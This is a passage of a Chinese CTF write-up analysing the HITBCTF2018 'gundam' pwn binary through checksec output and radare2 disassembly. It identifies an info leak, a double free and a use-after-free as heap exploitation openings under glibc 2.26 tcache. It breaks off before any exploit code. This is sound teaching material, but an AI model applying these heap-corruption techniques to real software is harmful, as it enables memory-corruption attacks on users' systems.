mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
766 lines
36 KiB
Markdown
766 lines
36 KiB
Markdown
# 6.1.19 pwn HITBCTF2018 gundam
|
||
|
||
- [题目复现](#题目复现)
|
||
- [题目解析](#题目解析)
|
||
- [Exploit](#exploit)
|
||
- [参考资料](#参考资料)
|
||
|
||
|
||
[下载文件](../src/writeup/6.1.19_pwn_hitbctf2018_gundam)
|
||
|
||
## 题目复现
|
||
```
|
||
$ file gundam
|
||
gundam: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5643cd77b84ace35448d38fc49e4d3668ef45fea, stripped
|
||
$ checksec -f gundam
|
||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 4 gundam
|
||
$ strings libc.so.6 | grep "GNU C"
|
||
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
|
||
Compiled by GNU CC version 6.4.0 20171010.
|
||
```
|
||
保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。
|
||
|
||
玩一下:
|
||
```
|
||
$ ./gundam
|
||
... # 创建了两个 gundam
|
||
1 . Build a gundam
|
||
2 . Visit gundams
|
||
3 . Destory a gundam
|
||
4 . Blow up the factory
|
||
5 . Exit
|
||
|
||
Your choice : 2
|
||
|
||
Gundam[0] :AAAA
|
||
Type[0] :Freedom
|
||
|
||
Gundam[1] :BBBB
|
||
Type[1] :Strike Freedom
|
||
|
||
1 . Build a gundam
|
||
2 . Visit gundams
|
||
3 . Destory a gundam
|
||
4 . Blow up the factory
|
||
5 . Exit
|
||
|
||
Your choice : 3
|
||
Which gundam do you want to Destory:0 # 第一次销毁 gundam 0,成功
|
||
|
||
1 . Build a gundam
|
||
2 . Visit gundams
|
||
3 . Destory a gundam
|
||
4 . Blow up the factory
|
||
5 . Exit
|
||
|
||
Your choice : 3
|
||
Which gundam do you want to Destory:0 # 第二次销毁 gundam 0,成功
|
||
|
||
1 . Build a gundam
|
||
2 . Visit gundams
|
||
3 . Destory a gundam
|
||
4 . Blow up the factory
|
||
5 . Exit
|
||
|
||
Your choice : 2 # 此时剩下 gundam 1
|
||
|
||
Gundam[1] :BBBB
|
||
Type[1] :Strike Freedom
|
||
|
||
1 . Build a gundam
|
||
2 . Visit gundams
|
||
3 . Destory a gundam
|
||
4 . Blow up the factory
|
||
5 . Exit
|
||
|
||
Your choice : 4 # 销毁 factory
|
||
Done!
|
||
|
||
1 . Build a gundam
|
||
2 . Visit gundams
|
||
3 . Destory a gundam
|
||
4 . Blow up the factory
|
||
5 . Exit
|
||
|
||
Your choice : 2 # gundam 1 没有变化
|
||
|
||
Gundam[1] :BBBB
|
||
Type[1] :Strike Freedom
|
||
|
||
1 . Build a gundam
|
||
2 . Visit gundams
|
||
3 . Destory a gundam
|
||
4 . Blow up the factory
|
||
5 . Exit
|
||
|
||
Your choice : 3 # 第三次销毁 gundam 0,失败
|
||
Which gundam do you want to Destory:0
|
||
Invalid choice
|
||
```
|
||
根据上面的结果也能猜出一些东西。比如在没有销毁 factory 的情况下,可以多次销毁 gundam。而销毁 factory 不会对没有销毁的 gundam 造成影响。
|
||
|
||
|
||
## 题目解析
|
||
#### main
|
||
```
|
||
[0x000009e0]> pdf @ main
|
||
/ (fcn) main 122
|
||
| main ();
|
||
| ; var int local_18h @ rbp-0x18
|
||
| ; var int local_12h @ rbp-0x12
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; DATA XREF from 0x000009fd (entry0)
|
||
| 0x000010c5 push rbp
|
||
| 0x000010c6 mov rbp, rsp
|
||
| 0x000010c9 sub rsp, 0x20
|
||
| 0x000010cd mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
|
||
| 0x000010d6 mov qword [local_8h], rax
|
||
| 0x000010da xor eax, eax
|
||
| 0x000010dc mov eax, 0
|
||
| 0x000010e1 call sub.setvbuf_22 ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|
||
| ; JMP XREF from 0x00001192 (main + 205)
|
||
| 0x000010e6 mov eax, 0
|
||
| 0x000010eb call sub.puts_aea ; int puts(const char *s)
|
||
| 0x000010f0 lea rax, [local_12h]
|
||
| 0x000010f4 mov edx, 8
|
||
| 0x000010f9 mov rsi, rax
|
||
| 0x000010fc mov edi, 0
|
||
| 0x00001101 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||
| 0x00001106 lea rax, [local_12h]
|
||
| 0x0000110a mov rdi, rax
|
||
| 0x0000110d call sym.imp.atoi ; int atoi(const char *str)
|
||
| 0x00001112 mov dword [local_18h], eax ; 读入选项
|
||
| 0x00001115 cmp dword [local_18h], 5 ; [0x5:4]=257
|
||
| ,=< 0x00001119 ja 0x1185
|
||
| | 0x0000111b mov eax, dword [local_18h]
|
||
| | 0x0000111e lea rdx, [rax*4]
|
||
| | 0x00001126 lea rax, [0x00001368] ; 获取跳转表
|
||
| | 0x0000112d mov eax, dword [rdx + rax] ; 获取对应表项
|
||
| | 0x00001130 movsxd rdx, eax
|
||
| | 0x00001133 lea rax, [0x00001368]
|
||
| | 0x0000113a add rax, rdx ; '('
|
||
\ | 0x0000113d jmp rax ; 跳到相应函数
|
||
[0x000009e0]> px 20 @ 0x00001368+0x4
|
||
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
|
||
0x0000136c d7fd ffff e3fd ffff effd ffff fbfd ffff ................
|
||
0x0000137c 07fe ffff
|
||
[0x000009e0]> pd 20 @ 0x0000113f
|
||
: 0x0000113f mov eax, 0
|
||
: 0x00001144 call sub.malloc_b7d ; 选项 1
|
||
,==< 0x00001149 jmp 0x1192
|
||
|: 0x0000114b mov eax, 0
|
||
|: 0x00001150 call sub.Gundam__u__:_s_ef4 ; 选项 2
|
||
,===< 0x00001155 jm p 0x1192
|
||
||: 0x00001157 mov eax, 0
|
||
||: 0x0000115c call sub.Which_gundam_do_you_want_to_Destory:_d32 ; 选项 3
|
||
,====< 0x00001161 jmp 0x1192
|
||
|||: 0x00001163 mov eax, 0
|
||
|||: 0x00001168 call sub.Done_e22 ; 选项 4
|
||
,=====< 0x0000116d jmp 0x1192
|
||
||||: 0x0000116f lea rdi, str.Exit.... ; 0x135c ; "Exit...."
|
||
||||: 0x00001176 call sym.imp.puts ; int puts(const char *s)
|
||
||||: 0x0000117b mov edi, 0
|
||
||||: 0x00001180 call sym.imp.exit ; 选项 5
|
||
||||: ; JMP XREF from 0x00001119 (main)
|
||
||||: 0x00001185 lea rdi, str.Invalid_choice ; 0x130d ; "Invalid choice"
|
||
||||: 0x0000118c call sym.imp.puts ; int puts(const char *s)
|
||
||||: 0x00001191 nop
|
||
||||| ; JMP XREF from 0x00001149 (main + 132)
|
||
||||| ; JMP XREF from 0x00001155 (main + 144)
|
||
||||| ; JMP XREF from 0x00001161 (main + 156)
|
||
||||| ; JMP XREF from 0x0000116d (main + 168)
|
||
`````=< 0x00001192 jmp 0x10e6 ; main+0x21
|
||
```
|
||
一个典型的 switch-case 跳转结构。
|
||
|
||
#### Build a gundam
|
||
```
|
||
[0x000009e0]> pdf @ sub.malloc_b7d
|
||
/ (fcn) sub.malloc_b7d 437
|
||
| sub.malloc_b7d (int arg_8h);
|
||
| ; var int local_20h @ rbp-0x20
|
||
| ; var int local_1ch @ rbp-0x1c
|
||
| ; var int local_18h @ rbp-0x18
|
||
| ; var int local_10h @ rbp-0x10
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; var int local_0h @ rbp-0x0
|
||
| ; arg int arg_8h @ rbp+0x8
|
||
| ; UNKNOWN XREF from 0x00001144 (main + 127)
|
||
| ; CALL XREF from 0x00001144 (main + 127)
|
||
| 0x00000b7d push rbp
|
||
| 0x00000b7e mov rbp, rsp
|
||
| 0x00000b81 sub rsp, 0x20
|
||
| 0x00000b85 mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
|
||
| 0x00000b8e mov qword [local_8h], rax
|
||
| 0x00000b92 xor eax, eax
|
||
| 0x00000b94 mov qword [local_18h], 0 ; 初始化 [local_18h]
|
||
| 0x00000b9c mov qword [local_10h], 0 ; 初始化 [local_10h]
|
||
| 0x00000ba4 mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出当前 gundam 数量
|
||
| 0x00000baa cmp eax, 8
|
||
| ,=< 0x00000bad ja 0xd17 ; 如果大于 8,函数返回
|
||
| | 0x00000bb3 mov edi, 0x28 ; 否则继续
|
||
| | 0x00000bb8 call sym.imp.malloc ; [local_18h] = malloc(0x28) 分配一块内存作为 gundam
|
||
| | 0x00000bbd mov qword [local_18h], rax
|
||
| | 0x00000bc1 mov rax, qword [local_18h]
|
||
| | 0x00000bc5 mov edx, 0x28 ; '('
|
||
| | 0x00000bca mov esi, 0
|
||
| | 0x00000bcf mov rdi, rax
|
||
| | 0x00000bd2 call sym.imp.memset ; memset([local_18h], 0, 0x28) 进行初始化
|
||
| | 0x00000bd7 mov edi, 0x100
|
||
| | 0x00000bdc call sym.imp.malloc ; [local_10h] = malloc(0x100) 分配一块内存作为 name
|
||
| | 0x00000be1 mov qword [local_10h], rax
|
||
| | 0x00000be5 cmp qword [local_10h], 0
|
||
| ,==< 0x00000bea jne 0xc02
|
||
| || 0x00000bec lea rdi, str.error ; 0x1295 ; "error !"
|
||
| || 0x00000bf3 call sym.imp.puts ; int puts(const char *s)
|
||
| || 0x00000bf8 mov edi, 0xffffffff ; -1
|
||
| || 0x00000bfd call sym.imp.exit ; void exit(int status)
|
||
| || ; JMP XREF from 0x00000bea (sub.malloc_b7d)
|
||
| `--> 0x00000c02 lea rdi, str.The_name_of_gundam_: ; 0x129d ; "The name of gundam :"
|
||
| | 0x00000c09 mov eax, 0
|
||
| | 0x00000c0e call sym.imp.printf ; int printf(const char *format)
|
||
| | 0x00000c13 mov rax, qword [local_10h]
|
||
| | 0x00000c17 mov edx, 0x100
|
||
| | 0x00000c1c mov rsi, rax
|
||
| | 0x00000c1f mov edi, 0
|
||
| | 0x00000c24 call sym.imp.read ; read(0, [local_10h], 0x100) 读入字符到 name
|
||
| | 0x00000c29 mov rax, qword [local_18h] ; 取出 gundam
|
||
| | 0x00000c2d mov rdx, qword [local_10h]
|
||
| | 0x00000c31 mov qword [rax + 8], rdx ; 将 name 放到 gundam->name
|
||
| | 0x00000c35 lea rdi, str.The_type_of_the_gundam_: ; 0x12b2 ; "The type of the gundam :"
|
||
| | 0x00000c3c mov eax, 0
|
||
| | 0x00000c41 call sym.imp.printf ; int printf(const char *format)
|
||
| | 0x00000c46 lea rax, [local_20h]
|
||
| | 0x00000c4a mov rsi, rax
|
||
| | 0x00000c4d lea rdi, [0x000012cb] ; "%d"
|
||
| | 0x00000c54 mov eax, 0
|
||
| | 0x00000c59 call sym.imp.__isoc99_scanf ; 读入 type 到 [local_20h]
|
||
| | 0x00000c5e mov eax, dword [local_20h]
|
||
| | 0x00000c61 test eax, eax
|
||
| ,==< 0x00000c63 js 0xc6d
|
||
| || 0x00000c65 mov eax, dword [local_20h] ; 大于等于 0 时继续
|
||
| || 0x00000c68 cmp eax, 2
|
||
| ,===< 0x00000c6b jle 0xc83 ; 小于等于 2 时跳转
|
||
| ||| ; JMP XREF from 0x00000c63 (sub.malloc_b7d)
|
||
| |`--> 0x00000c6d lea rdi, str.Invalid. ; 0x12ce ; "Invalid."
|
||
| | | 0x00000c74 call sym.imp.puts ; int puts(const char *s)
|
||
| | | 0x00000c79 mov edi, 0
|
||
| | | 0x00000c7e call sym.imp.exit ; void exit(int status)
|
||
| | | ; JMP XREF from 0x00000c6b (sub.malloc_b7d)
|
||
| `---> 0x00000c83 mov eax, dword [local_20h]
|
||
| | 0x00000c86 movsxd rdx, eax
|
||
| | 0x00000c89 mov rax, rdx
|
||
| | 0x00000c8c shl rax, 2
|
||
| | 0x00000c90 add rax, rdx ; '('
|
||
| | 0x00000c93 shl rax, 2 ; 最后得到 rax = rax * 20
|
||
| | 0x00000c97 lea rdx, str.Freedom ; 0x202020 ; "Freedom" ; 取出起始地址
|
||
| | 0x00000c9e add rdx, rax ; rdx 为字符串 type 的地址
|
||
| | 0x00000ca1 mov rax, qword [local_18h]
|
||
| | 0x00000ca5 add rax, 0x10 ; 取出 gundam->type
|
||
| | 0x00000ca9 mov rsi, rdx
|
||
| | 0x00000cac mov rdi, rax
|
||
| | 0x00000caf call sym.imp.strcpy ; strcpy(gundam->type, type) 将字符串复制过去
|
||
| | 0x00000cb4 mov rax, qword [local_18h] ; 取出 gundam
|
||
| | 0x00000cb8 mov dword [rax], 1 ; 将 gundam->flag 赋值为 1
|
||
| | 0x00000cbe mov dword [local_1ch], 0 ; 循环计数 i,初始化为 0
|
||
| ,==< 0x00000cc5 jmp 0xd02 ; 开始循环
|
||
| || ; JMP XREF from 0x00000d06 (sub.malloc_b7d)
|
||
| .---> 0x00000cc7 mov eax, dword [local_1ch]
|
||
| :|| 0x00000cca lea rdx, [rax*8]
|
||
| :|| 0x00000cd2 lea rax, [0x002020a0] ; 取出 factory 地址
|
||
| :|| 0x00000cd9 mov rax, qword [rdx + rax] ; 找到 factory[i]
|
||
| :|| 0x00000cdd test rax, rax
|
||
| ,====< 0x00000ce0 jne 0xcfe ; 不为 0 时继续下一次循环
|
||
| |:|| 0x00000ce2 mov eax, dword [local_1ch] ; 否则继续
|
||
| |:|| 0x00000ce5 lea rcx, [rax*8]
|
||
| |:|| 0x00000ced lea rax, [0x002020a0]
|
||
| |:|| 0x00000cf4 mov rdx, qword [local_18h] ; 取出 gundam
|
||
| |:|| 0x00000cf8 mov qword [rcx + rax], rdx ; 将 gundam 放到 factory[i]
|
||
| ,=====< 0x00000cfc jmp 0xd08 ; 结束循环
|
||
| ||:|| ; JMP XREF from 0x00000ce0 (sub.malloc_b7d)
|
||
| |`----> 0x00000cfe add dword [local_1ch], 1 ; i = i + 1
|
||
| | :|| ; JMP XREF from 0x00000cc5 (sub.malloc_b7d)
|
||
| | :`--> 0x00000d02 cmp dword [local_1ch], 8 ; 最多能有 9 个 gundam
|
||
| | `===< 0x00000d06 jbe 0xcc7 ; 循环继续
|
||
| | | ; JMP XREF from 0x00000cfc (sub.malloc_b7d)
|
||
| `-----> 0x00000d08 mov eax, dword [0x0020208c] ; [0x20208c:4]=0
|
||
| | 0x00000d0e add eax, 1 ; gundam 数量 + 1
|
||
| | 0x00000d11 mov dword [0x0020208c], eax ; [0x20208c:4]=0 ; 放回去
|
||
| | ; JMP XREF from 0x00000bad (sub.malloc_b7d)
|
||
| `-> 0x00000d17 mov eax, 0
|
||
| 0x00000d1c mov rcx, qword [local_8h]
|
||
| 0x00000d20 xor rcx, qword fs:[0x28]
|
||
| ,=< 0x00000d29 je 0xd30
|
||
| | 0x00000d2b call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00000d29 (sub.malloc_b7d)
|
||
| `-> 0x00000d30 leave
|
||
\ 0x00000d31 ret
|
||
[0x000009e0]> px 60 @ 0x00202020
|
||
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
|
||
0x00202020 4672 6565 646f 6d00 0000 0000 0000 0000 Freedom.........
|
||
0x00202030 0000 0000 5374 7269 6b65 2046 7265 6564 ....Strike Freed
|
||
0x00202040 6f6d 0000 0000 0000 4167 6965 7300 0000 om......Agies...
|
||
0x00202050 0000 0000 0000 0000 0000 0000
|
||
```
|
||
通过分析这个函数,可以得到 gundam 结构体(大小为0x28)和 factory(地址`0x002020a0`) 数组:
|
||
```c
|
||
struct gundam {
|
||
uint32_t flag;
|
||
char *name;
|
||
char type[24];
|
||
} gundam;
|
||
|
||
struct gundam *factory[9];
|
||
```
|
||
另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 `0x0020208c`。
|
||
|
||
从读入 name 的操作中我们发现,程序并没有在末尾设置 '\x00',可能导致信息泄漏(以'\x0a'结尾)。
|
||
|
||
#### Visit gundams
|
||
```
|
||
[0x000009e0]> pdf @ sub.Gundam__u__:_s_ef4
|
||
/ (fcn) sub.Gundam__u__:_s_ef4 254
|
||
| sub.Gundam__u__:_s_ef4 (int arg_8h);
|
||
| ; var int local_ch @ rbp-0xc
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; arg int arg_8h @ rbp+0x8
|
||
| ; CALL XREF from 0x00001150 (main + 139)
|
||
| 0x00000ef4 push rbp
|
||
| 0x00000ef5 mov rbp, rsp
|
||
| 0x00000ef8 sub rsp, 0x10
|
||
| 0x00000efc mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
|
||
| 0x00000f05 mov qword [local_8h], rax
|
||
| 0x00000f09 xor eax, eax
|
||
| 0x00000f0b mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出 gundam_num
|
||
| 0x00000f11 test eax, eax
|
||
| ,=< 0x00000f13 jne 0xf26 ; 不等于 0 时跳转
|
||
| | 0x00000f15 lea rdi, str.No_gundam_produced ; 0x1322 ; "No gundam produced!"
|
||
| | 0x00000f1c call sym.imp.puts ; int puts(const char *s)
|
||
| ,==< 0x00000f21 jmp 0xfd7
|
||
| || ; JMP XREF from 0x00000f13 (sub.Gundam__u__:_s_ef4)
|
||
| |`-> 0x00000f26 mov dword [local_ch], 0 ; 循环计数 i,初始化为 0
|
||
| |,=< 0x00000f2d jmp 0xfcd ; 开始循环
|
||
| || ; JMP XREF from 0x00000fd1 (sub.Gundam__u__:_s_ef4)
|
||
| .---> 0x00000f32 mov eax, dword [local_ch]
|
||
| :|| 0x00000f35 lea rdx, [rax*8]
|
||
| :|| 0x00000f3d lea rax, [0x002020a0]
|
||
| :|| 0x00000f44 mov rax, qword [rdx + rax] ; 取出 factory[i]
|
||
| :|| 0x00000f48 test rax, rax
|
||
| ,====< 0x00000f4b je 0xfc9 ; 为 0 时跳转,下一次循环
|
||
| |:|| 0x00000f4d mov eax, dword [local_ch]
|
||
| |:|| 0x00000f50 lea rdx, [rax*8]
|
||
| |:|| 0x00000f58 lea rax, [0x002020a0]
|
||
| |:|| 0x00000f5f mov rax, qword [rdx + rax]
|
||
| |:|| 0x00000f63 mov eax, dword [rax] ; 取出 factory[i]->flag
|
||
| |:|| 0x00000f65 test eax, eax
|
||
| ,=====< 0x00000f67 je 0xfc9 ; flag 为 0 时跳转,下一次循环
|
||
| ||:|| 0x00000f69 mov eax, dword [local_ch]
|
||
| ||:|| 0x00000f6c lea rdx, [rax*8]
|
||
| ||:|| 0x00000f74 lea rax, [0x002020a0]
|
||
| ||:|| 0x00000f7b mov rax, qword [rdx + rax]
|
||
| ||:|| 0x00000f7f mov rdx, qword [rax + 8] ; 取出 factory[i]->name
|
||
| ||:|| 0x00000f83 mov eax, dword [local_ch]
|
||
| ||:|| 0x00000f86 mov esi, eax
|
||
| ||:|| 0x00000f88 lea rdi, str.Gundam__u__:_s ; 0x1336 ; "\nGundam[%u] :%s"
|
||
| ||:|| 0x00000f8f mov eax, 0
|
||
| ||:|| 0x00000f94 call sym.imp.printf ; 打印出 factory[i]->name
|
||
| ||:|| 0x00000f99 mov eax, dword [local_ch]
|
||
| ||:|| 0x00000f9c lea rdx, [rax*8]
|
||
| ||:|| 0x00000fa4 lea rax, [0x002020a0]
|
||
| ||:|| 0x00000fab mov rax, qword [rdx + rax]
|
||
| ||:|| 0x00000faf lea rdx, [rax + 0x10] ; 取出 factory[i]->type
|
||
| ||:|| 0x00000fb3 mov eax, dword [local_ch]
|
||
| ||:|| 0x00000fb6 mov esi, eax
|
||
| ||:|| 0x00000fb8 lea rdi, str.Type__u__:_s ; 0x1346 ; "Type[%u] :%s\n"
|
||
| ||:|| 0x00000fbf mov eax, 0
|
||
| ||:|| 0x00000fc4 call sym.imp.printf ; 打印出 factory[i]->type
|
||
| ||:|| ; JMP XREF from 0x00000f4b (sub.Gundam__u__:_s_ef4)
|
||
| ||:|| ; JMP XREF from 0x00000f67 (sub.Gundam__u__:_s_ef4)
|
||
| ``----> 0x00000fc9 add dword [local_ch], 1 ; i = i + 1
|
||
| :|| ; JMP XREF from 0x00000f2d (sub.Gundam__u__:_s_ef4)
|
||
| :|`-> 0x00000fcd cmp dword [local_ch], 8 ; 最多有 9 个 gundam
|
||
| `===< 0x00000fd1 jbe 0xf32 ; 循环继续
|
||
| | ; JMP XREF from 0x00000f21 (sub.Gundam__u__:_s_ef4)
|
||
| `--> 0x00000fd7 mov eax, 0
|
||
| 0x00000fdc mov rcx, qword [local_8h]
|
||
| 0x00000fe0 xor rcx, qword fs:[0x28]
|
||
| ,=< 0x00000fe9 je 0xff0
|
||
| | 0x00000feb call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00000fe9 (sub.Gundam__u__:_s_ef4)
|
||
| `-> 0x00000ff0 leave
|
||
\ 0x00000ff1 ret
|
||
```
|
||
该函数先判断 gundam_num 是否为 0,如果不是,再根据 factory[i] 和 factory[i]->flag 判断某个 gundam 是否存在,如果存在,就将它的 name 和 type 打印出来。
|
||
|
||
#### Destory a gundam
|
||
```
|
||
[0x000009e0]> pdf @ sub.Which_gundam_do_you_want_to_Destory:_d32
|
||
/ (fcn) sub.Which_gundam_do_you_want_to_Destory:_d32 240
|
||
| sub.Which_gundam_do_you_want_to_Destory:_d32 ();
|
||
| ; var int local_ch @ rbp-0xc
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; CALL XREF from 0x0000115c (main + 151)
|
||
| 0x00000d32 push rbp
|
||
| 0x00000d33 mov rbp, rsp
|
||
| 0x00000d36 sub rsp, 0x10
|
||
| 0x00000d3a mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
|
||
| 0x00000d43 mov qword [local_8h], rax
|
||
| 0x00000d47 xor eax, eax
|
||
| 0x00000d49 mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出 gundam_num
|
||
| 0x00000d4f test eax, eax
|
||
| ,=< 0x00000d51 jne 0xd64 ; 不等于 0 时跳转
|
||
| | 0x00000d53 lea rdi, str.No_gundam ; 0x12d7 ; "No gundam"
|
||
| | 0x00000d5a call sym.imp.puts ; int puts(const char *s)
|
||
| ,==< 0x00000d5f jmp 0xe07
|
||
| || ; JMP XREF from 0x00000d51 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|
||
| |`-> 0x00000d64 lea rdi, str.Which_gundam_do_you_want_to_Destory: ; 0x12e8 ; "Which gundam do you want to Destory:"
|
||
| | 0x00000d6b mov eax, 0
|
||
| | 0x00000d70 call sym.imp.printf ; int printf(const char *format)
|
||
| | 0x00000d75 lea rax, [local_ch]
|
||
| | 0x00000d79 mov rsi, rax
|
||
| | 0x00000d7c lea rdi, [0x000012cb] ; "%d"
|
||
| | 0x00000d83 mov eax, 0
|
||
| | 0x00000d88 call sym.imp.__isoc99_scanf ; 读入序号 i 到 [local_ch]
|
||
| | 0x00000d8d mov eax, dword [local_ch]
|
||
| | 0x00000d90 cmp eax, 8
|
||
| |,=< 0x00000d93 ja 0xdb2 ; 如果大于 8,函数结束
|
||
| || 0x00000d95 mov eax, dword [local_ch] ; 否则继续
|
||
| || 0x00000d98 mov eax, eax
|
||
| || 0x00000d9a lea rdx, [rax*8]
|
||
| || 0x00000da2 lea rax, [0x002020a0]
|
||
| || 0x00000da9 mov rax, qword [rdx + rax] ; 取出 factory[i]
|
||
| || 0x00000dad test rax, rax
|
||
| ,===< 0x00000db0 jne 0xdc5 ; 如果不为 0,跳转
|
||
| ||| ; JMP XREF from 0x00000d93 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|
||
| ||`-> 0x00000db2 lea rdi, str.Invalid_choice ; 0x130d ; "Invalid choice"
|
||
| || 0x00000db9 call sym.imp.puts ; int puts(const char *s)
|
||
| || 0x00000dbe mov eax, 0
|
||
| ||,=< 0x00000dc3 jmp 0xe0c
|
||
| ||| ; JMP XREF from 0x00000db0 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|
||
| `---> 0x00000dc5 mov eax, dword [local_ch]
|
||
| || 0x00000dc8 mov eax, eax
|
||
| || 0x00000dca lea rdx, [rax*8]
|
||
| || 0x00000dd2 lea rax, [0x002020a0]
|
||
| || 0x00000dd9 mov rax, qword [rdx + rax] ; 取出 factory[i]
|
||
| || 0x00000ddd mov dword [rax], 0 ; 将 factory[i]->flag 置为 0
|
||
| || 0x00000de3 mov eax, dword [local_ch]
|
||
| || 0x00000de6 mov eax, eax
|
||
| || 0x00000de8 lea rdx, [rax*8]
|
||
| || 0x00000df0 lea rax, [0x002020a0]
|
||
| || 0x00000df7 mov rax, qword [rdx + rax]
|
||
| || 0x00000dfb mov rax, qword [rax + 8] ; 取出 factory[i]->name
|
||
| || 0x00000dff mov rdi, rax
|
||
| || 0x00000e02 call sym.imp.free ; free(factory[i]->name)
|
||
| || ; JMP XREF from 0x00000d5f (sub.Which_gundam_do_you_want_to_Destory:_d32)
|
||
| `--> 0x00000e07 mov eax, 0
|
||
| | ; JMP XREF from 0x00000dc3 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|
||
| `-> 0x00000e0c mov rcx, qword [local_8h]
|
||
| 0x00000e10 xor rcx, qword fs:[0x28]
|
||
| ,=< 0x00000e19 je 0xe20
|
||
| | 0x00000e1b call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00000e19 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|
||
| `-> 0x00000e20 leave
|
||
\ 0x00000e21 ret
|
||
```
|
||
该函数用于销毁 gundam,它先将 gundam->flag 置为 0,再释放掉 gundam->name。
|
||
|
||
这里有几个问题:
|
||
- 该函数是通过 factory[i] 来判断某个 gundam 是否存在,而在销毁 gundam 后并没有将 factory[i] 置空,导致 factory[i]->name 可能被多次释放
|
||
- name 指针没有被置空,可能导致 UAF
|
||
- 销毁 gundam 后没有将 gundam_num 减 1
|
||
|
||
#### Blow up the factory
|
||
```
|
||
[0x000009e0]> pdf @ sub.Done_e22
|
||
/ (fcn) sub.Done_e22 210
|
||
| sub.Done_e22 (int arg_8h);
|
||
| ; var int local_ch @ rbp-0xc
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; arg int arg_8h @ rbp+0x8
|
||
| ; CALL XREF from 0x00001168 (main + 163)
|
||
| 0x00000e22 push rbp
|
||
| 0x00000e23 mov rbp, rsp
|
||
| 0x00000e26 sub rsp, 0x10
|
||
| 0x00000e2a mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
|
||
| 0x00000e33 mov qword [local_8h], rax
|
||
| 0x00000e37 xor eax, eax
|
||
| 0x00000e39 mov dword [local_ch], 0 ; 循环计数 i,初始化为 0
|
||
| ,=< 0x00000e40 jmp 0xec7 ; 开始循环
|
||
| | ; JMP XREF from 0x00000ecb (sub.Done_e22)
|
||
| .--> 0x00000e45 mov eax, dword [local_ch]
|
||
| :| 0x00000e48 lea rdx, [rax*8]
|
||
| :| 0x00000e50 lea rax, [0x002020a0]
|
||
| :| 0x00000e57 mov rax, qword [rdx + rax] ; 取出 factory[i]
|
||
| :| 0x00000e5b test rax, rax
|
||
| ,===< 0x00000e5e je 0xec3 ; 为 0 时跳转,下一次循环
|
||
| |:| 0x00000e60 mov eax, dword [local_ch] ; 否则继续
|
||
| |:| 0x00000e63 lea rdx, [rax*8]
|
||
| |:| 0x00000e6b lea rax, [0x002020a0]
|
||
| |:| 0x00000e72 mov rax, qword [rdx + rax]
|
||
| |:| 0x00000e76 mov eax, dword [rax] ; 取出 factory[i]->flag
|
||
| |:| 0x00000e78 test eax, eax
|
||
| ,====< 0x00000e7a jne 0xec3 ; 不等于 0 时跳转,下一次循环
|
||
| ||:| 0x00000e7c mov eax, dword [local_ch] ; 否则继续
|
||
| ||:| 0x00000e7f lea rdx, [rax*8]
|
||
| ||:| 0x00000e87 lea rax, [0x002020a0]
|
||
| ||:| 0x00000e8e mov rax, qword [rdx + rax] ; 取出 factory[i]
|
||
| ||:| 0x00000e92 mov rdi, rax
|
||
| ||:| 0x00000e95 call sym.imp.free ; free(factory[i])
|
||
| ||:| 0x00000e9a mov eax, dword [local_ch]
|
||
| ||:| 0x00000e9d lea rdx, [rax*8]
|
||
| ||:| 0x00000ea5 lea rax, [0x002020a0]
|
||
| ||:| 0x00000eac mov qword [rdx + rax], 0 ; 将 factory[i] 置为 0
|
||
| ||:| 0x00000eb4 mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出 gundam_num
|
||
| ||:| 0x00000eba sub eax, 1 ; gundam_num -= 1
|
||
| ||:| 0x00000ebd mov dword [0x0020208c], eax ; [0x20208c:4]=0 ; 写回去
|
||
| ||:| ; JMP XREF from 0x00000e5e (sub.Done_e22)
|
||
| ||:| ; JMP XREF from 0x00000e7a (sub.Done_e22)
|
||
| ``---> 0x00000ec3 add dword [local_ch], 1 ; i = i + 1
|
||
| :| ; JMP XREF from 0x00000e40 (sub.Done_e22)
|
||
| :`-> 0x00000ec7 cmp dword [local_ch], 8 ; 最多有 9 个 gundam
|
||
| `==< 0x00000ecb jbe 0xe45 ; 循环继续
|
||
| 0x00000ed1 lea rdi, str.Done ; 0x131c ; "Done!"
|
||
| 0x00000ed8 call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00000edd nop
|
||
| 0x00000ede mov rax, qword [local_8h]
|
||
| 0x00000ee2 xor rax, qword fs:[0x28]
|
||
| ,=< 0x00000eeb je 0xef2
|
||
